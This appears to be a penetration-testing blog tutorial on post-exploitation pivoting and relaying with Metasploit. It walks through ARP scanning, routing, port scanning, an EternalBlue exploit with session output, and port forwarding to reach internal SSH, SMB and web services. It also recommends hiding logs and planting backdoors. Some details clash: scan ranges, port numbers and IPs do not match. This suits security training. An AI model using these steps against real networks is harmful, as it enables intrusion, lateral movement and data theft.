The quality of a penetration test is judged by the quality of its post-exploitation tactics, techniques, and execution. Post-Exploitation work is what determines the level of breach in confidentiality, integrity, and availability of business information. Thus, it is vital for any penetration tester, or red-team member, to refine their post-exploitation skills. Unfortunately, many of those consultants stop short at vulnerabilities and findings discovered earlier during the engagement; few others would indeed exploit some of these vulnerabilities and penetrate few systems. However, few are those who sharpen their knowledge and skills to achieve the maximum results in the post-exploitation phase.
In this blog post, I am going to explain and illustrate some advanced post-exploitation techniques that should be employed after you have taken all the juices out of a compromised system; these techniques will enable you to expand your attacks beyond the one system you’ve just compromised and will pave the way for extreme penetration into the target network. But, first things first; let’s quickly summarize what a penetration tester should actually do the moment they gain a remote control, i.e., shell, over one system:
- Information Gathering: start by gaining as much information as possible about the compromised system. Navigate through the user accounts, file system, processes, installed applications, privileges, etc.
- Privilege Escalation: utilize local exploitation to gain the highest possible privileges. Your goal is to become a SYSTEM – which is higher than Administrator – on a Windows OS, or a Root on a UNIX/Linux OS.
- Covering Tracks: hide all logs, traces, and clues that indicate your exploitation and presence in the system. Those can be event logs in a Windows system or the logs under /var/log/ directory in a UNIX/Linux system.
- Backdooring the System: install a persistent hidden backdoor so that you have a maintained access to the compromised system. You should be able to connect to it anytime you want even after a reboot.
- Accessing Data Files: download all data files available on the system. Data files can be documents, multimedia files, databases, source codes, cached web files, etc. Those data files contain the business sensitive information, and they are your evidence of a successful penetration.
- Pivoting and Relaying: here is where you use the compromised system as a point to dig deeper into the target network. Through this one system, you can reach to other systems and resources which are otherwise unreachable directly from your end. It is this particular step that I am going to expound upon below!
Pivoting and Relaying are two different, yet related, techniques. They are related because both of them utilize the victim system to penetrate deeper into the target network. Yet, each one of them has a different aim. Pivoting aims at exploiting other systems reachable only through the victim, while relaying aims at exploring resources reachable only through the victim. With pivoting, we can have a remote shell on secondary systems tunneled through the first initial shell on the first victim. And with relaying, we will access resources on secondary systems tunneled through the shell session on the victim.
Let’s take the following scenario:
In this case, our IP address is 10.10.10.10; and from that machine, we are pentesting a targeting organization that has a publically exposed web server, with the public IP address 22.214.171.124. The front-end firewall blocks all inbound traffic except port 80 (http), yet, it allows outbound traffic with no restriction. The web server has a private IP address, 192.168.0.10, to communicate with other systems in the LAN or DMZ.
In this scenario, we have managed to compromise the web server 126.96.36.199 and got a reverse shell. We’ll assume that we are using the Metasploit platform, and that we have used the Meterpreter payload to exploit the web server. Upon successful exploitation, we’ll get the Meterpreter prompt as follows:
The other two systems behind the firewall are (1) Windows 7 System – 192.168.0.11 – that is vulnerable through SMB protocol (ms17-010), and (2) Windows 7 System – 192.168.0.12 – that is patched has an SSH service and web service. These two hosts are totally unreachable from the Internet. They don’t have any NATed public IP addresses, and no inbound connection is allowed to reach them.
We have two objectives here:
- We want to exploit the vulnerable Windows 7 (192.168.0.11) and have a shell session to it from our system. This accomplished by pivoting through the compromised web server.
- We want to access the resources – SSH, SMB shares, and the web server – on the patched Windows 7 (192.168.0.12). This is accomplished by making the compromised web server a relay agent for our connections to the patched Windows 7 system.
Pivoting through the First Victim
This is our first objective; we want to be able to compromise the system 192.168.0.11 and gain a remote shell over it. Particularly, we want to have a Meterpreter session to it, just like we have a Meterpreter session to 188.8.131.52. We know that the firewall does not allow any inbound connection. Thus, we want to pivot through the web server (184.108.40.206) and reach the vulnerable system. From the perspective of this vulnerable system, the exploitation seems to originate from the web server, not from our system (10.10.10.10). There will be a connection established from the web server to the vulnerable one through which the exploitation take place. Then, the entire Meterpreter session will be tunneled through the first session to us. The following diagram illustrates this scenario:
The following are the necessary steps to perform pivoting:
Step 1 Discover Nearby Live Hosts
Initially, we are not aware of any existing hosts around the compromised web server. However, through investigating the system, we should have found that, in addition to its known public IP address, there is a private IP address configured on its network interface, i.e., 192.168.0.10. We can perform ARP Scanning on the subnet 192.168.0.0/24 to get a list of live systems as follows:
meterpreter > run arp_scanner –r 192.168.0.0/24 [*] ARP Scanning 192.168.0.0/24 [*] IP: 192.168.0.1 MAC AA:AA:AA:AA:AA:AA [*] IP: 192.168.0.11 MAC BB:BB:BB:BB:BB:BB [*] IP: 192.168.0.12 MAC CC:CC:CC:CC:CC:CC
The result shows three IP addresses reachable from the web server. The first one, 192.168.0.1, is probably the gateway, which might be the private interface of the firewall. The other two are interesting for us. We want to find out more information about them; particularly, we want to scan their ports and figure out which ports are open. But in order to do port scanning, we need to do a prerequisite step, which is the next one.
Step 2 Setup Routing Rules
Before we are able to run a port scanner from Metasploit against the two private systems, we want to instruct Metasploit to route all traffic destined to the private network 192.168.0.0/24 through the existing Meterpreter session established between our machine and the compromised web server.
meterpreter > background msf > route add 192.168.0.0 255.255.255.0 1
It is important to note that we configure the routing rule on the Metasploit console (msf >) not on Meterpreter session. The routing rule has to exist on our system – within Metasploit. That is why we issued the command “background” to put our Meterpeter session on the background and get to our Metasploit console.
All the routing rule does is to instruct Metasploit to send any traffic destined to the network 192.168.0.0/24 (192.168.0.0 255.255.255.0) to the session number 1, which is the Meterpreter session established with the web server.
Step 3 Port Scan Nearby Live Hosts
After configuring the routing rule, we are able to run a TCP Port Scanner from within Metasploit against the two private systems. The following commands show how to use Metasploit’s native port scanner, and assign the remote hosts’ IPs and port range. We will scan the first 10000 ports, as follows:
msf > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > set RHOSTS 192.168.0.11,12 msf auxiliary(tcp) > set PORTS 1-1000 msf auxiliary(tcp) > run [*] 192.168.0.11: – 192.168.0.11:139 – TCP OPEN [*] 192.168.0.11: – 192.168.0.11:445 – TCP OPEN [*] Scanned 1 of 2 hosts (50% complete) [*] 192.168.0.12: – 192.168.0.12:22 – TCP OPEN [*] 192.168.0.12: – 192.168.0.12:80 – TCP OPEN [*] 192.168.0.12: – 192.168.0.12:139 – TCP OPEN [*] 192.168.0.12: – 192.168.0.12:445 – TCP OPEN [*] Scanned 2 of 2 hosts (100% complete) [*] Auxiliary module execution completed
As you can see, we can scan the two private IP addresses even though our system is on the Internet and cannot reach those systems directly. Metasploit will tunnel all traffic to those private systems through session 1 – the established Meterpreter session with the web server.
The port scanning result shows that the system 192.168.0.11 has two ports open, namely, 139 (netbios) and 445 (smb/cifs). And the second private system 192.168.0.12 has four ports open, namely, 22 (ssh), 80 (http), 139 (netbios), and 445 (smb/cifs).
Step 4 Exploit a Vulnerable Service
We are going here to launch an exploit against port 445. The exploit that we will launch is called EternalBlue and it targets a recent vulnerability in SMB service that has been addressed by Microsoft in bulletin MS17-010. Of course, if the machine is unpatched, the exploit will go through; otherwise, it will fail. The following shows the commands and results of exploiting the first private system 192.168.0.11:
msf > use exploit/windows/smb/eternalblue_doublepulsar msf exploit(eternalblue_doublepulsar) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp msf exploit(eternalblue_doublepulsar) > set RHOST 192.168.0.11 msf exploit(eternalblue_doublepulsar) > run [*] Started bind handler [*] 192.168.0.106:445 – Generating Eternalblue XML data [*] 192.168.0.106:445 – Generating Doublepulsar XML data [*] 192.168.0.106:445 – Generating payload DLL for Doublepulsar [*] 192.168.0.106:445 – Writing DLL in /root/.wine/drive_c/eternal11.dll [*] 192.168.0.106:445 – Launching Eternalblue... [+] 192.168.0.106:445 – Backdoor is already installed [*] 192.168.0.106:445 – Launching Doublepulsar... [*] Sending stage (957487 bytes) to 192.168.0.106 [+] 192.168.0.106:445 – Remote code executed… 3... 2... 1... [*] Meterpreter session 2 opened (10.10.10.10-220.127.116.11:0 -> 192.168.0.11:4444) at 2017-08-27 20:04:31 -0400 meterpreter > background [*] Backgrounding session 2...
The exploit ran successfully, and we now have a 2nd Meterpreter session. But this time, the 2nd session is tunneled within the 1st session and pivoted through the web server (18.104.22.168). To verify that, we issue the sessions command to see the existing sessions:
msf exploit(eternalblue_doublepulsar) > sessions Active sessions =============== Id Type Information Connection — —- ———– ———- 1 meterpreter x86/windows WEB\MyUser @ WEB 10.10.10.10:44989 -> 22.214.171.124:6666 2 meterpreter x86/windows HID\MyUser @ HID 10.10.10.10-126.96.36.199:0 -> 192.168.0.11:4444
Relaying through the First Victim
If we cannot exploit a private system through pivoting, that does not mean we cannot access resources hosted on that particular private system. Even though we will be accessing these resources from our own system that is residing on the Internet, all our accesses will appear coming from the first victim, which is in our scenario, the publically exposed web server. We will assume that when we compromised the private system, 192.168.0.11, we managed to dump the password hashes and crack them. And given that in many situations some credentials found on one system are used to access other systems, some of the cracked hashes on the first private system will allow us to access the SSH and SMB services on the second one, 192.168.0.12.
The following diagram illustrates how we relay our access to the resources through the compromised web servers:
It is important to understand here that when we access the resources on the private system, we will be using normal client programs on our system. For example, we will use firefox, SMBClient, and SSH client to access the http server, SMB shares, and the SSH server on the private system 192.168.0.12.
Now, in order for such access to be successful, we need to implement port forwarding rules on our Meterpreter session; this will be discussed in the following section.
Step 1 Setup Port Forwarding Rules
A port forwarding rule, which is configured on the Meterpreter session, does one particular task; and this task is to create a listener – with a port number we choose – on the localhost, and link that listener to a more port number on a remote server. This linking is what is called port forwarding. Because, every time a connection is made to our localhost’s listener, the traffic will get forwarded to the remote service on the remote system.
For the sake of our example, we will choose the following port numbers and associate them the remote port numbers on the private system 192.168.0.12:
- Port 10080 on our localhost will be forwarded to port 80 on 192.168.0.12
- Port 10022 on our localhost will be forwarded to port 22 on 192.168.0.12
- Port 10445 on our localhost will be forwarded to port 445 on 192.168.0.12
The following are the commands to setup these port forwarding rules:
materpreter > portfwd add -l 10080 -p 80 -r 192.168.0.12 materpreter > portfwd add -l 10022 -p 22 -r 192.168.0.12 materpreter > portfwd add -l 10454 -p 445 -r 192.168.0.12
Now, we are ready to access the resources!
Step 2 Access the Resources
All we need to do now is to use the appropriate client program to access the remote service and resources. For the sake of this example, let’s say that the credentials to access SSH and SMB are, username: myadmin, and password: mypass.
- Browsing the http server on 192.168.0.12:
Using firefox, we will enter the URL: http://localhost:10080
- Accessing SSH server on 192.168.0.12:
On the terminal, we will type:
# ssh myadmin@localhost
We’ll be prompted to enter the password.
- Access file shares on 192.168.0.12:
To see the available shares, we will enter on the terminal:
# smbclient -L localhost
To access a particular share, we will enter on the terminal:
# smbclient \\localhost\<share_name> -U myadmin
And then we’ll be prompted to enter the password.